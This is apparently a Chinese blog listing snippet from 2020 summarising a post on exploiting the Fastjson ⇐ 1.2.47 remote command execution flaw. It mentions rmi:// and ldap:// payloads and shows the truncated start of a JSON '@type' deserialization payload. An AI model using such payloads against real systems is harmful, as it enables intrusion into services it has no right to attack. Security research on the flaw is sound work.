fastjson 请求dnslog
摘要:
Fastjson ⇐ 1.2.47 远程命令执行漏洞利用工具及方法记录 payload rmi://、ldap:// 可以切换尝试。 param={ "@type": "java.lang.Class", br / > "a": { "@type": "java.lang.Class", "val" 阅读全文
posted @ 2020-04-15 15:01 Mysticbinary 阅读(2233) 评论(0) 推荐(1) 编辑